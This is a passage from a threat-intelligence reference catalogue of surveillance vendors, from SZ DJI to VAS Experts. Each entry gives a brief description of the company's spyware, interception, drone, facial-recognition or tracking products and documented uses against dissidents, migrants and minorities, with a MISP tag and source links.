SZ DJI Technology Co., Ltd. (SZ DJI) has provided drones to the Xinjiang Public Security Bureau, which are used to surveil and target Uyghurs, Kazakh, and Kyrgyz people. The company is a major supplier of camera drones and other products to 43 countries globally, including the US, UK, and Australia. It also sold drones to the Serbian government. Key investors include Accel and Sequoia Capital.

The tag is: *misp-galaxy:surveillance-vendor="SZ DJI"*

Table 18018. Table References

Links
https://uhrp.org/report/surveillance-tech-series-djis-links-to-human-rights-abuses-in-east-turkistan/
https://home.treasury.gov/news/press-releases/jy0538
https://borderviolence.eu/app/uploads/Surveillance-tech-in-Serbia.pdf
https://www.wsj.com/articles/chinese-drone-maker-dji-raises-75-million-from-accel-partners-1430915407
https://www.accessnow.org/wp-content/uploads/2021/08/Surveillance-Tech-Latam-Report.pdf
https://adc.org.ar/wp-content/uploads/2021/12/ADC-Tecnologias-de-Vigilancia-en-Argentina.pdf

Tactic Labs

Tactic Labs, a subsidiary of the Avnon Group, is a developer of interception technologies, including IMSI-catchers and WiFi interceptors. A key offering is their Wi-Fi sniffer, an untraceable device that grants access to nearby Wi-Fi networks, cellular devices, and computers, allowing operators to collect private user data.

The tag is: *misp-galaxy:surveillance-vendor="Tactic Labs"*

Table 18019. Table References

Links
https://www.intelligenceonline.com/surveillance—interception/2018/06/27/bler-forges-israeli-ukrainian-interceptions-alliance,108314937-art
https://avnongroup.com/wp-content/uploads/2020/04/Newsletter-AvnonToday-october-2018.pdf
https://en.checkid.co.il/company/TACTICAL+LABS+AVNUN+SOLUTION+LTD-epaeekY-515580116

TAG International

TAG International is a security and intelligence consultancy formed in 2021 through the merger of Axiom International and Torchlight Group. The company is one of the main recipients of funding from the UK's Conflict, Stability and Security Fund (UKSIF). TAG International has extensive involvement in surveillance activities, deploying advanced technologies and expertise to assist governments and organizations in data and intelligence gathering and analysis.

Intelligence Online revealed that TAG International is operating a major training contract with the Saudi security forces under a secretive British government program.

The tag is: *misp-galaxy:surveillance-vendor="TAG International"*

Table 18020. Table References

Links
https://www.intelligenceonline.com/international-dealmaking/2024/01/22/tag-international-helps-uk-grow-influence-in-saudi-national-security,110150152-art
https://www.limerstoncap.com/portfolio/tag-international

Tamoco

Tamoco is a data tracking startup leveraging a network of 1.1 billion proximity sensors to track the locations of approximately 100 million smartphone users. By partnering with apps that struggle to monetize, such as mobile games, offline maps, and deals apps, Tamoco integrates its tracking capabilities into these platforms. When users install these apps and accept the terms, their location data becomes part of Tamoco's network. Tamoco utilizes a combination of Wi-Fi signals, Bluetooth beacons, GPS, QR codes, and metadata (like device type, battery level, and dwell time) to track users. This data is then sold to third parties.

In 2023, Tamoco underwent an asset acquisition by PassBy, a company that also develops location-based technology.

The tag is: *misp-galaxy:surveillance-vendor="Tamoco"*

Table 18021. Table References

Links
https://www.wired.com/story/tamoco-sam-amrami-proximity-tracking-mwc/
https://www.mlex.com/mlex/articles/1987900/location-tracking-by-uk-s-tamoco-scrutinized-by-norwegian-privacy-watchdog
https://www.nrk.no/norge/xl/norske-offiserer-og-soldater-avslort-av-mobilen-1.14890424
https://www.globenewswire.com/news-release/2023/10/12/2759582/0/en/Pass_by-after-acquiring-two-geospatial-companies-debuts-its-AI-powered-predictive-foot-traffic-intelligence-tools.html

TechOps Specialty Vehicles

TechOps Specialty Vehicles (TOSV) is a company that builds custom vehicles for law enforcement, outfitting them with various surveillance technologies. It supplied U.S. Immigration and Customs Enforcement (ICE) with vehicles equipped with cell-site simulators, commonly known as fake cell towers or "stingrays." This enables law enforcement agencies to intercept cellular signals and track mobile phones by mimicking legitimate cell towers, forcing nearby devices to connect to them.

The company is headquartered in Stevensville, Maryland. The company also maintains sales locations in Denver, Colorado, and Whitefish, Montana.

The tag is: *misp-galaxy:surveillance-vendor="TechOps Specialty Vehicles"*

Table 18022. Table References

Links
https://techcrunch.com/2025/10/07/ice-bought-vehicles-equipped-with-fake-cell-towers-to-spy-on-phones/
https://www.fpds.gov/ezsearch/fpdsportal?q=TECHOPS+SPECIALTY+VEHICLES%2C+LLCAGENCY_NAME%3A%22Immigration+and+Customs+Enforcement%22&s=FPDS.GOV&templateName=1.5.3&indexName=awardfull&sortBy=SIGNED_DATE&desc=Y[https://www.fpds.gov/ezsearch/fpdsportal?q=TECHOPS+SPECIALTY+VEHICLES%2C+LLCAGENCY_NAME%3A%22Immigration+and+Customs+Enforcement%22&s=FPDS.GOV&templateName=1.5.3&indexName=awardfull&sortBy=SIGNED_DATE&desc=Y]
https://www.techopssv.com/law-enforcement

Tekever

Tekever is a provider of surveillance drones and unmanned aerial systems (UAS) for monitoring operations. The company’s drones are equipped with artificial intelligence (AI) capabilities, enabling real-time data analysis, and its drones are designed for diverse surveillance missions,

including border control. Tekever's drones have been widely used in Frontex (EU border agency) operations and by several national coast guards and defense ministries.

The tag is: *misp-galaxy:surveillance-vendor="Tekever"*

Table 18023. Table References

Links
https://www.suasnews.com/2024/04/tekever-unveils-upgraded-real-time-intelligence-as-a-service-offering-powered-by-advanced-ai-tool/
https://www.asdnews.com/news/defense/2024/12/09/tekever-secures-eur5m-deal-with-spains-ministry-interior
https://www.businessinsider.com/tekever-startup-making-ukraine-drones-gets-funding-nato-2024
https://www.suasnews.com/2024/06/tekever-signs-agreement-with-bti-defence-for-exclusive-representation-in-indonesia/
https://dronelife.com/2020/08/24/tekever-expands-drone-surveillance-missions/
https://www.wired.com/story/uk-drones-migrants-english-channel/

TekhArgos

TekhArgos, established in 2009, is a company that develops, produces and deploys SORM (System for Operative Investigative Activities) equipment. SORM is a surveillance system used by Russian and CIS telecommunications operators to enable state-mandated monitoring of communications. Since 2018, TekhArgos has been part of Citadel, a prominent company servicing Russia's telecommunications surveillance industry. It is now part of Garda Telekom Гарда Телеком).

The tag is: *misp-galaxy:surveillance-vendor="TekhArgos"*

Table 18024. Table References

Links
https://web.archive.org/web/20221205140610/https://t-argos.ru/about/
https://go.recordedfuture.com/hubfs/reports/ta-ru-2025-0107.pdf

Teledyne FLIR

Teledyne FLIR is a developer of surveillance technology, providing thermal imaging and AI-driven solutions for border security, law enforcement, and military applications. Their border surveillance systems utilize high-performance infrared cameras, radar, and analytics to detect and track individuals. The company's products include FLIR SkyRanger R70 and R80D SkyRaider drones, which track targets and provides real-time intelligence.

It operates as a subsidiary of Teledyne Technologies, which is based in Thousand Oaks, California, USA.

The tag is: *misp-galaxy:surveillance-vendor="Teledyne FLIR"*

Table 18025. Table References

Links
https://www.flir.eu/surveillance/border-surveillance/
https://thedefensepost.com/2025/03/25/teledyne-surveillance-systems-saudi/
https://defence-blog.com/teledyne-flir-to-supply-surveillance-vehicles-to-saudi-military/
https://www.businesswire.com/news/home/20240908535637/en/Teledyne-FLIR-Delivering-Airborne-Surveillance-Systems-to-Japan-Maritime-Self-Defense-Force-Worth-Up-to-%2421-Million
https://www.frontex.europa.eu/innovation/announcements/frontex-announces-5-groups-selected-in-the-second-phase-of-prize-contest-on-the-detection-of-low-flying-objects-Pqk5wM

Telekonta

Telekonta is a Lithuanian company that develops video surveillance technology. The company recently secured a contract to develop and implement a surveillance system along the Lithuania-Belarus border, targeting migrants.

In collaboration with the Israeli company Elbit, Telekonta has also carried out the installation of VSAT surveillance equipment for the Baltic Sea border.

The tag is: *misp-galaxy:surveillance-vendor="Telekonta"*

Table 18026. Table References

Links
https://www.delfi.lt/en/business/telekonta-bags-contract-for-surveillance-system-on-lithuania-belarus-border-89053633
https://www.telekonta.lt/en/intelektual%C5%ABs-sprendimai
https://b2lithuania.com/companies/7462

TeleStrategies

TeleStrategies provides consulting on a wide range of monitoring technologies, including Internet, phone, and location monitoring, as well as analysis, biometrics, communications monitoring, and monitoring centers. Their headquarters is located in McLean, Virginia, with additional offices across the United States. It holds various training events around the world, including in Europe, Asia, Latin America and the Middle East, targeting law enforcement, intelligence agencies, and defense officials. Hacking Team, which sold spyware to Ethiopia, Bahrain, Egypt, Kazakhstan, Morocco, Russia, Saudi Arabia, Sudan, Azerbaijan and Turkey, while dismissing human rights and privacy concerns, participated in some of these trainings.

The tag is: *misp-galaxy:surveillance-vendor="TeleStrategies"*

Table 18027. Table References

Links

https://web.archive.org/web/20240718020901/https://www.issworldtraining.com/
https://wikileaks.org/hackingteam/emails/?q=telestrategies.net&count=50&sort=0

Telinsol

Telinsol is a UK-based satellite communications consultancy which appears to have conducted international business transactions with vendors on behalf of Ariantel, an Iranian cellular carrier that was used in an Iranian government program to monitor and manipulate people's phones for surveillance purposes.

The tag is: *misp-galaxy:surveillance-vendor="Telinsol"*

Table 18028. Table References

Links
https://citizenlab.ca/2023/01/uncovering-irans-mobile-legal-intercept-system/
https://theintercept.com/2022/10/28/iran-protests-phone-surveillance/

Telmate

Telmate provides digital surveillance tools used in U.S. immigration detention centers, including the Northwest Detention Center (NWDC) in Tacoma, Washington. Telmate's phone, video chat, email, and tablet services at the NWDC are provided via a contract with Talton Communications, a company that holds a contract with ICE for detainee communications services. Telmate collects extensive data and information about the people who use its phone and video systems and sells that data to various law enforcement agencies.

The company was acquired by GTL in 2017 and now operates under the name ViaPath.

The tag is: *misp-galaxy:surveillance-vendor="Telmate"*

Table 18029. Table References

Links

Tengri Lab

Tengri Lab, a Kazakhstan-based tech company, is a developer of surveillance and smart city technologies. As the driving force behind the Smart Aqkol project, Tengri Lab has transformed the small town of Aqkol into Kazakhstan's first smart city. The project integrates AI-powered surveillance cameras, thermal imaging, and data analytics to monitor the public, including for details like school attendance. These systems are managed through a centralized command center, which collects and analyzes data from sensors, cameras, and GPS trackers across the city.

The tag is: *misp-galaxy:surveillance-vendor="Tengri Lab"*

Table 18030. Table References

Links
https://astanatimes.com/2019/01/aqkol-becomes-first-smart-city-in-kazakhstan/
https://www.codastory.com/surveillance-and-control/kazakhstan-smart-city-surveillance/

Teramind

Teramind is a developer of employee monitoring software, often referred to as "bossware." Its platform offers a comprehensive suite of surveillance tools designed to track and analyze employee behavior, both in-office and remotely. Key features include live screen viewing, keystroke logging, email and social media monitoring, file transfer tracking, and sentiment analysis of communications. The software also provides productivity reports and alerts for predefined behaviors, and can monitor video and audio conversations, track GPS locations, and store extensive amounts of sensitive employee data.

The tag is: *misp-galaxy:surveillance-vendor="Teramind"*

Table 18031. Table References

Links
https://bigbrotherwatch.org.uk/wp-content/uploads/2024/09/BosswareWebVersion.pdf
https://tech.co/news/employee-monitoring-software-divides-opinion
https://www.technologyreview.com/2025/02/24/1111664/worker-monitoring-employee-surveillance/
https://www.wired.com/story/creepy-rise-bossware/
https://standout-cv.com/stats/employee-monitoring-study
<a href="https://democompany.teramind.co/<mark>/report/Focus+Dashboard">https://democompany.teramind.co/</mark>/report/Focus+Dashboard

Terrogence

Terrogence, now known as SenseCy, is an Israeli surveillance company founded by former intelligence officers. It built a massive facial recognition database called Face-Int. This database is populated with facial images of thousands of individuals, collected from platforms like Facebook, YouTube, and other online sources. The company’s founders, including Shai Arbel, leveraged their expertise to create tools that gather intelligence through "virtual entities" - fake online profiles designed to infiltrate social media platforms and collect data and intelligence from users.

Terrogence provides intelligence services to entities such as the U.S. government, including the NSA and Navy.

The company was acquired by the Israeli surveillance giant Verint in 2017, and is now part of a suite offered by Cognyte, which was spun off of Verint in 2021.

The tag is: *misp-galaxy:surveillance-vendor="Terrogence"*

Table 18032. Table References

Links
https://www.forbes.com/sites/thomasbrewster/2018/04/16/huge-facebook-facial-recognition-database-built-by-ex-israeli-spies/
https://www.vpnmentor.com/blog/cyber-intelligence-from-the-deep-web-a-rare-interview-with-sensecy-ceo-gadi-aviran/
https://mashable.com/article/mysterious-company-building-facial-recognition-database
https://web.archive.org/web/20180421103323/https://www.terrogence.com/capabilities/biometric-database-enhancement/

Tevian

Tevian is a company that specializes in advanced computer vision technologies, particularly focusing on facial recognition and video analytics. Tevian was imposed European sanctions in July 2023 due to involvement in “serious human rights violations in Russia,” including “arbitrary arrests and detentions.”

The tag is: *misp-galaxy:surveillance-vendor="Tevian"*

Table 18033. Table References

Links
https://www.thebureauinvestigates.com/stories/2024-03-27/paid-pennies-to-train-tools-of-repression-the-humans-behind-moscows-state-surveillance/
https://www.thebureauinvestigates.com/stories/2024-03-27/online-gig-work-is-feeding-russias-surveillance-machine/
https://nltimes.nl/2024/03/27/dutch-yandex-subsidiary-helping-russia-facial-recognition-software
https://www.reuters.com/investigates/special-report/ukraine-crisis-russia-detentions/

The Gospel

The Gospel is an AI target-creation platform which provides assasination targets in Palestine. The system has significantly accelerated the process of identifying and recommending targets, allowing Israel to strike many more locations. There are also concerns about the accuracy of the system and its heavy impact on civilians. The Gospel is powered by intel such as intercepted communications, surveillance data and information drawn from monitoring the movements and behaviour patterns of individuals and large groups in Palestine.

The tag is: *misp-galaxy:surveillance-vendor="The Gospel"*

Table 18034. Table References

Links
https://www.theguardian.com/world/2023/dec/01/the-gospel-how-israel-uses-ai-to-select-bombing-targets

https://www.aljazeera.com/program/the-listening-post/2023/12/9/the-gospel-israel-turns-to-a-new-ai-system-in-the-gaza-war
https://www.972mag.com/mass-assassination-factory-israel-calculated-bombing-gaza/

ThetaByte

ThetaByte, registered in Lithuania and founded and headed by Israeli businessman Shay Tal, created the WebMine2Go platform, a tool designed to gather data from social networks as well as the clear web, deep web, and dark web, analyzing it to uncover connections. The company offers more advanced services, including tactical communication interception, to monitor the activities of online targets.

The tag is: *misp-galaxy:surveillance-vendor="ThetaByte"*

Table 18035. Table References

Links
https://www.intelligenceonline.com/surveillance—interception/2021/12/08/israeli-cyber-industry-sets-up-shop-in-vilnius,109709918-art
https://www.thetabyte.eu/index.html
https://respubca.home.xs4all.nl/pdf/ISSWorldEuropejune2018.pdf
https://en.checkid.co.il/company/THETABYTE+TECHNOLOGIESLTD-XO3eye1-515906550[https://en.checkid.co.il/company/THETABYTE+TECHNOLOGIESLTD-XO3eye1-515906550]
https://rekvizitai.vz.lt/en/company/thetabyte_technologies/

Tiandy Technologies

Tiandy Technologies is a video surveillance equipment manufacturer whose products have reportedly been used in the vast network of cameras monitoring Uyghurs in East Turkistan (renamed Xinjiang by China). Tiandy Technologies has sold its surveillance cameras to Iran's Revolutionary Guards and other security services, according to a Tiandy website and social media posts. Intel Corp., one of America's major semiconductor firms, lists the Chinese company as a partner, providing Intel-made processors for some of Tiandy's video recording equipment. Intel Corp., one of America's major semiconductor firms, lists the Chinese company as a partner, providing Intel-made processors for some of Tiandy's video recording equipment.

The tag is: *misp-galaxy:surveillance-vendor="Tiandy Technologies"*

Table 18036. Table References

Links
https://www.nbcnews.com/politics/national-security/chinese-firm-tiandy-selling-surveillance-tech-iran-protests-rcna59574
https://www.wsj.com/articles/u-s-weighs-sanctions-for-chinese-companies-over-iran-surveillance-buildup-11675503914

https://www.bloomberg.com/news/articles/2019-02-21/big-brother-billionaires-get-rich-as-china-watches-everyone
https://restofworld.org/2024/facial-recognition-government-protest-surveillance/

TigerSwan

TigerSwan is a global firm founded in 2008 by James Reese, a retired U.S. Army lieutenant colonel and former Delta Force commander. The company led the surveillance operations and infiltration of the Dakota Access Pipeline (DAPL) protests at Standing Rock. Hired by Energy Transfer, the company behind the pipeline, TigerSwan used a range of methods to monitor and disrupt the Indigenous-led resistance movement. These tactics included the use of undercover operatives, aerial surveillance, social media monitoring, and the creation of detailed dossiers on activists. The firm also collaborated with law enforcement, sharing intelligence and supporting legal actions against protestors.

Following its involvement at Standing Rock, TigerSwan sought to profit from its surveillance tactics by marketing its "counterinsurgency" playbook to other energy companies. The firm created detailed marketing materials and presentations, pitching its strategies to corporations like ConocoPhillips and Dominion Energy, which were involved in other contentious oil and gas projects.

The tag is: *misp-galaxy:surveillance-vendor="TigerSwan"*

Table 18037. Table References

Links
https://theintercept.com/2017/05/27/leaked-documents-reveal-security-firms-counterterrorism-tactics-at-standing-rock-to-defeat-pipeline-insurgencies/
https://drilled.media/documents/1ed15ccd-a1cf-4f20-aaff-483b4714ab57
https://www.theguardian.com/commentisfree/2017/jun/28/surveillance-standing-rock-policing-native-lands
https://grist.org/accountability/tigerswan-documents-dakota-access-pipeline-standing-rock-surveillance/

TKH Group N.V.

A Dutch technology company whose surveillance cameras are used to surveil Palestinians in the occupied West Bank and by prison and police agencies worldwide.

The tag is: *misp-galaxy:surveillance-vendor="TKH Group N.V."*

Table 18038. Table References

Links
https://investigate.afsc.org/company/tkh

https://www.amnesty.org/en/latest/news/2024/07/israel-opt-dutch-investor-pushes-for-human-rights-safeguards-to-stop-use-of-surveillance-technology-against-palestinians/

Toloka

Toloka, an Amsterdam-based Yandex subsidiary, is helping develop the facial recognition software Russia uses to massively track and arrest protesters, according to research by Follow the Money, The Bureau of Investigative Journalism, and Paper Trail Media. The two Russian companies Toloka works with are both on the EU sanctions list.

The tag is: *misp-galaxy:surveillance-vendor="Toloka"*

Table 18039. Table References

Links
https://nltimes.nl/2024/03/27/dutch-yandex-subsidiary-helping-russia-facial-recognition-software

Toru Group

Toru Group, run by Israeli national Assaf Elias, serves as an intermediary in facilitating the global sale of advanced surveillance and spyware technologies. The company has reportedly acted as a middleman for deals involving firms linked to Tal Dilian's surveillance empire, including Passitora and Intellexa.

In June 2021, Toru Group won a bid to supply Bangladesh with a "Vehicle Mounted Mobile Interceptor" spy vehicle. The spy van, delivered in mid-2022, is reportedly in use by Bangladeshi authorities, with its surveillance tools allegedly leading to the dismissal of police officers accused of criticizing the government in private WhatsApp groups.

The tag is: *misp-galaxy:surveillance-vendor="Toru Group"*

Table 18040. Table References

Links
https://www.dhakatribune.com/bangladesh/government-affairs/281008/report-israeli-spy-tech-secretly-sold-to
https://www.leinumber.com/leicert/549300O16R4WULTZ0495/
https://www.intelligenceonline.com/surveillance—interception/2024/12/06/abdul-quayyum-mollah-an-officer-caught-in-the-turmoil-of-a-post-revolution-intelligence-agency,110348342-art
https://thewire.in/tech/bangladesh-spyware-israel-ban
https://www.haaretz.com/israel-news/security-aviation/2023-01-10/ty-article/.premium/israeli-spy-tech-sold-to-bangladesh-despite-dismal-human-rights-record/00000185-9692-d16a-a987-f6b75dd00000
https://www.intelligenceonline.com/surveillance—interception/2024/10/14/israeli—spyware-diplomacy—troubled-by-bangladesh-regime-change,110326858-art

https://www.benarnews.org/english/news/bengali/bangladesh-monitoring-equipment-06102021154009.html

TraceSpan

TraceSpan Communications is a developer of monitoring and interception technologies for broadband access networks. Its GPON Phantom series provide passive monitoring solutions. These systems are designed for use by law enforcement agencies to capture and analyze data from networks like VDSL, GPON, and DOCSIS.

The tag is: *misp-galaxy:surveillance-vendor="TraceSpan"*

Table 18041. Table References

Links
https://www.tracespan.com/TS/li.html
https://www.prnewswire.com/news-releases/tracespan-launches-docsis-lawful-interception-system-131518568.html
https://www.officer.com/command-hq/technology/computers-software/company/10032689/tracespan-communications
https://telecomtest.com.au/wp-content/uploads/2016/12/GPON_Phantom_Brochure.pdf

TrackTech

TRACKtech LLC is an electronic monitoring and surveillance technology company founded by CEO Michael Hirschman, whose background in law enforcement and supervision services in Colorado inspired him to develop comprehensive tracking technologies. Their suite of surveillance products includes TRACKcase, which provides real-time visibility of all monitored devices with remote configuration, TRACKphone, an Android smartphone issued to targets to serve as a continuous location tracking device, and TRACKtether, a tamper-resistant RF bracelet.

The tag is: *misp-galaxy:surveillance-vendor="TrackTech"*

Table 18042. Table References

Links
https://www.theguardian.com/global-development/2021/mar/04/they-track-every-move-how-us-parole-apps-created-digital-prisoners
https://www.corecivic.com/news/corecivic-partners-with-tracktech-to-provide-a-high-tech-monitoring-solution
https://tracktechllc.com/cisco-solutions/
https://tracktechllc.com/wp-content/uploads/2024/10/TRACKtech-AI-Application.pdf

Travizory

Travizory is a Swiss company that develops advanced border and surveillance technology. Its primary product, the API-PNR Targeting System, utilizes real-time traveler data, including Advance Passenger Information (API) and Passenger Name Records (PNR), to assess "risks" and identify individuals of interest before they cross borders. The system integrates AI-powered profiling and automated alerts for use by border officials, connecting governments with transport operators, and uses its AI for decision-making on which passengers to prevent from entering a country.

According to a report by Wired, Travizory uses its algorithms to analyze up to 150 variables, including travel patterns, connections to known persons of interest, and anomalies in behavior. For example, the system can flag travelers whose behavior deviates from typical patterns, such as short visits with excessive luggage or unusual spending habits. These assessments are used to generate risk classifications, which are shared with government agencies, including customs, immigration, and intelligence services. Currently operational in Kenya and the Seychelles, Travizory is also in discussions to expand its system to 20 other African countries.

The tag is: *misp-galaxy:surveillance-vendor="Travizory"*

Table 18043. Table References

Links
https://www.wired.com/story/inside-the-black-box-of-predictive-travel-surveillance/
https://www.travizory.com/what-we-do/advance-passenger-information
https://world-border-congress.com/2024/08/16/enhancing-africas-borders-making-a-case-for-api-pnr-on-the-continent/
https://seychelles.govtas.com/en

Trenchant

Trenchant, also known as L3 Trenchant, is a surveillance provider owned by defense contractor L3Harris Technologies that develops government hacking tools and zero-day exploits for Western governments. The entity was formed from the merger of two sister startups, Azimuth and Linchpin Labs, both of which were acquired by L3Harris. Trenchant operates with strictly compartmentalized teams that develop platform-specific tools, including iOS zero-days and spyware.

The tag is: *misp-galaxy:surveillance-vendor="Trenchant"*

Table 18044. Table References

Links
https://techcrunch.com/2025/10/21/apple-alerts-exploit-developer-that-his-iphone-was-targeted-with-government-spyware/
https://cyberscoop.com/l3-acquires-azimuth-and-linchpin/
https://www.l3harris.com/all-capabilities/trenchant

https://www.technologyreview.com/2022/06/27/1054884/the-hacking-industry-faces-the-end-of-an-era/
https://www.defensenews.com/industry/2018/07/12/l3-acquires-two-information-security-firms-with-eye-toward-multiple-markets/

TRL Technology

TRL Technology Limited was a UK-based company that sells surveillance technology, including a product called Marlin, which can intercept calls made on satellite phone networks. The company was acquired by L-3 Communications, which later changed its name to L3 Technologies and eventually merged with Harris Corporation to form L3Harris Technologies.

The tag is: *misp-galaxy:surveillance-vendor="TRL Technology "*

Table 18045. Table References

Links
https://www.vice.com/en/article/the-uk-companies-exporting-interception-tech-around-the-world/
https://www.militaryaerospace.com/communications/article/16723112/l-3-communications-bids-to-acquire-trl-electronics
https://web.archive.org/web/20190703144629/https://www.harris.com/press-releases/2019/06/harris-corporation-and-l3-technologies-set-closing-date-for-merger

TruePosition

TruePosition markets its "location intelligence" (LOCINT) technology to intelligence and law enforcement agencies worldwide. Over the past four years, the company has expanded its tracking technology globally. In the U.S., TruePosition sells its products to mobile carriers, although it remains vague about any usage by the U.S. government. Internationally, it supplies governments, without disclosing specific clients. Since the introduction of LOCINT in 2008, there has been significant interest from defense and interior ministries globally. In 2016, TruePosition released its TrueFix Location System. The system offers M2M/IoT capabilities, improving its location tracking services.

The tag is: *misp-galaxy:surveillance-vendor="TruePosition"*

Table 18046. Table References

Links
https://www.defensedaily.com/trueposition-introduces-wireless-location-intel-solution/homeland-security/
https://www.wired.com/2011/07/global-phone-tracking/
https://www.foxnews.com/media/lara-logan-sounds-alarm-government-surveillance
https://www.prnewswire.com/news-releases/trueposition-announces-release-of-iot-location-product-300224729.html

https://www.trendhunter.com/trends/trueposition3

Tykelab

Tykelab, a little-known company based in Rome, has been utilizing dozens of phone networks, often located on remote Pacific islands, to send tens of thousands of secret “tracking packets” worldwide. These packets target individuals in countries such as Libya, Nicaragua, Malaysia, Costa Rica, Iraq, Mali, Greece, and Portugal, as well as within Italy itself. Tykelab exploits longstanding but often unaddressed vulnerabilities in global phone networks, allowing third parties to track phone users’ locations and potentially intercept their calls without leaving any trace on the devices. Tykelab’s parent company, RCS Lab, has also developed a powerful phone hacking tool called Hermit. Once installed on a victim’s device, Hermit can remotely activate the phone’s microphone, record calls, access messages, call logs, contacts, photos, and other sensitive data.

The tag is: *misp-galaxy:surveillance-vendor="Tykelab"*

Table 18047. Table References

Links
https://www.lighthousereports.com/investigation/revealing-europes-nso/
https://euobserver.com/eu-and-the-world/ar5bd69b18
https://cybernews.com/news/italian-firm-accused-of-running-pegasus-style-spyware/
https://euobserver.com/rule-of-law/ar78349dff

UAV Tactical Systems Ltd

A joint venture company, UAV Tactical Systems Ltd (U-TacS), based in Leicester, has been set up by Thales UK and Elbit to produce the Watchkeeper system in the UK. The Watchkeeper UAV provides intelligence, surveillance, target acquisition and reconnaissance (ISTAR) capability to the UK armed forces. Reports show that it has been field-tested on Palestinians in collaboration with the Israeli government.

The tag is: *misp-galaxy:surveillance-vendor="UAV Tactical Systems Ltd"*

Table 18048. Table References

Links
https://waronwant.org/sites/default/files/Killer%20Drones%2C%20War%20on%20Want.pdf

Unisys

Unisys is a multinational IT and consulting company that works closely with the U.S Customs and Border Protection (CBP) and Immigration and Customs Enforcement (ICE). In 2016, CBP gave Unisys a $229.7 million contract to implement biometric checks at U.S. entry and exit points. Unisys has also helped deploy license plate readers and RFID technology to monitor vehicles and verify travelers' identities.

The tag is: *misp-galaxy:surveillance-vendor="Unisys"*

Table 18049. Table References

Links
https://investigate.afsc.org/high-tech-surveillance-immigrants
https://www.unisys.com/news-release/unisys-awarded-border-security-contract-by-us-cbp/
https://www.safetyact.gov/at/?view=&search=Unisys+Corporation
https://idtechwire.com/unisys-software-ai-to-border-control-502062/
https://www.unisys.com/news-release/unisys-to-help-department-home-affairs-secure-australia-borders/
https://ir.unisys.com/news-releases/news-release-details/vision-box-selects-unisys-digital-workplace-solutions-support

Uniview Technologies

Uniview, also known as Zhejiang Uniview Technologies, or by its abbreviation UNV, develops and deploys video surveillance systems, including "infrared antiriot" cameras and software that enable real-time image sharing by police agencies across jurisdictions. Uniview's systems are used to suppress political and religious dissent, particularly in regions like Tibet. In 2017, Uniview was revealed to be a reseller and alliance partner of Quantum Corporation, a U.S data storage and management company.

According to the Asian Venture Capital Journal, Uniview was a corporate carve-out of Hewlett-Packard's China-based surveillance business. It was purchased by Bain Capital, and then sold to China Transinfo Technology Co. Ltd.

The tag is: *misp-galaxy:surveillance-vendor="Uniview Technologies"*

Table 18050. Table References

Links
https://www.nbcnews.com/id/wbna46756531
https://www.ifsecglobal.com/video-surveillance/the-unstoppable-rise-of-hikvision-and-dahua-and-how-the/
https://azrait.sa/unv-supplier
https://www.intel.com/content/www/us/en/internet-of-things/ai-in-production/partners/zhejiang-uniview.html
https://ipvm.com/reports/us-consider-unv
https://www.cbinsights.com/research/china-surveillance-ai/
https://www.avcj.com/digital_assets/6152/2546AVCJDec04_2012.pdf
https://ipvm.com/reports/uniview-sold

UPSEC

Sichuan Dianke Network Security Tech. Co., Ltd. (also known as UPSEC and its subsidiary Chengdu Anmo Tech) has been identified as the primary developer and distributor of various spyware tools. The company is also the supplier of the DarkNimbus malware, and has assisted in distributing mobile spyware like BadBazaar and MOONSHINE. These tools have been used for the surveillance of Taiwanese activists, Tibetans, Uyghurs, and Falun Gong supporters. Sichuan Dianke is also involved in the supply chain for the APT group known as TheWizards.

The tag is: *misp-galaxy:surveillance-vendor="UPSEC"*

Table 18051. Table References

Links
https://www.intelligenceonline.com/surveillance—interception/2025/01/29/chinese-firm-behind-hacking-operations-against-uyghurs-and-tibetans-unveiled,110368855-evg
https://www.reuters.com/technology/cybersecurity/western-intelligence-agencies-warn-spyware-threat-targeting-taiwan-tibetan-2025-04-08/
https://thehackernews.com/2025/04/chinese-hackers-abuse-ipv6-slaac-for.html
https://www.cyber.gov.au/about-us/view-all-content/alerts-and-advisories/badbazaar-and-moonshine-technical-analysis-and-mitigations

Utility

Utility is the developer behind the AI-powered PULSAR system, which captures vehicle license plates, GPS coordinates, timestamps, and movement direction. It provides law enforcement agencies across the United States detailed vehicle activity records.

Utility also runs POLARIS, a cloud-based digital evidence management system that serves as the central hub for law enforcement agencies to collect, analyze, and manage digital data.

The tag is: *misp-galaxy:surveillance-vendor="Utility"*

Table 18052. Table References

Links
https://www.utility.com/products/alpr
https://www.youtube.com/watch?v=i8HN2i1OR9Y
https://www.police1.com/police-products/police-technology/utility-inc-drives-law-enforcement-innovation-with-polaris-advancements
https://www.utility.com/resources/utility-inc-introduces-pulsar-fixed-solution
https://www.utility.com/resources/greater-sum-ventures-makes-majority-investment-in-utility-inc-a-technology-company-for-frontline-professions

UTX Technologies

UTX provides mobile device tracking software. It's based in Cyprus and is also registered in Lithuania. It was acquired by surveillance giant Verint in 2014. It is now considered a Cognyte subsidiary.

The tag is: *misp-galaxy:surveillance-vendor="UTX Technologies"*

Table 18053. Table References

Links
https://mergr.com/utx-technologies-overview
https://www.politico.eu/article/how-europe-became-wild-west-spyware/
https://indianexpress.com/article/express-exclusive/us-surveillance-giants-network-of-operations-has-subsidiaries-in-india-9080622/
https://en.globes.co.il/en/article-verint-acquires-utx-for-83m-1000929349
https://www.europarl.europa.eu/doceo/document/A-9-2023-0189_EN.html

Variston Information Technology

Variston Information Technology, founded in Barcelona in 2018, develops and distributes spyware and related infrastructure. The company acquired TrueL IT, known for its expertise and exploitation of zero-day vulnerabilities, and works with Protect Electronic Systems to market its products. Variston has also strong ties with Edge Group's cyber subsidiary, a UAE-owned defense company.

The tag is: *misp-galaxy:surveillance-vendor="Variston Information Technology"*

Table 18054. Table References

Links
https://www.fastcompany.com/91024985/spyware-companies-helping-governments-hack-their-citizens
https://www.intelligenceonline.com/surveillance—interception/2023/04/07/how-the-wegener-jayaraman-duo-extended-their-cyber-empire-to-the-uae,109932446-art
https://blog.google/threat-analysis-group/new-details-on-commercial-spyware-vendor-variston/
https://techcrunch.com/2023/03/29/hackers-variston-spyware-uae-google/
https://techcrunch.com/2024/02/06/government-hackers-targeted-iphones-owners-with-zero-days-google-says/

VAS Experts

VAS Experts is a provider of SORM (System for Operative Investigative Activities) hardware and software systems, specifically for SORM-2 and SORM-3, as well as Deep Packet Inspection (DPI) technology. The company's proprietary SKAT DPI (CKAT DPI) technology is designed to support

SORM operations, including monitoring and filtering of network traffic.

VAS Experts serves clients in multiple countries, including Azerbaijan, Kazakhstan, Lithuania, Nicaragua, and Uzbekistan.

The tag is: *misp-galaxy:surveillance-vendor="VAS Experts"*

Table 18055. Table References

Links
